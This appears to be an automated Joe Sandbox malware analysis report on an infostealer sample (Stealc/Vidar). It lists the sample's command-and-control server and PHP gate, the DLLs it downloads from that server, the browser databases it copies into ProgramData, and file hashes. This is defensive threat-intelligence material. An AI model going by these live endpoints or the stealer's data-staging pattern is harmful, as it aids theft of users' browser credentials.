C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpN	file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	JKFHIIEH.0.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, JKFHIIEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllv	file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JKFHIIEH.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllP	file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AKJDGDGDHDGDBFIDHDBA.0.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php=	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, JKFHIIEH.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, JKFHIIEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2313614753.000000000141E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, JKFHIIEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpE	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	JKFHIIEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php.dll	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37.com	file.exe, 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dlld	file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpz	file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, JKFHIIEH.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpHSJ	file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllm	file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllj	file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JKFHIIEH.0.dr	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337563144.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528583
Start date and time:	2024-10-08 03:21:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse
	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	out.exe	Get hash	malicious	Vidar	Browse
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse
C:\ProgramData\mozglue.dll	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse
	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	out.exe	Get hash	malicious	Vidar	Browse
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJDGDGDHDGDBFIDHDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CBKJKJDBFIIDHJKEHJEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKFIDAAEHIEGCBFIDBFHCGDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKKJEBFIDAEBFHIDAEBAAEHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIECBFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGHCBKFCFBFHIDHDBFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHJDGIDBAAFIDGCGCAKKKFBFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKFHIIEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIDBAFHCAKFBGCBFHIJKECGII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: T2bmenoX1o.exe, Detection: malicious, Browse Filename: XQywAEbb9e.exe, Detection: malicious, Browse Filename: c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lihZ6gUU7V.exe, Detection: malicious, Browse Filename: Bn7LPdQA1s.exe, Detection: malicious, Browse Filename: WiTqtf1aiE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: out.exe, Detection: malicious, Browse Filename: wULBz8VjH0.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
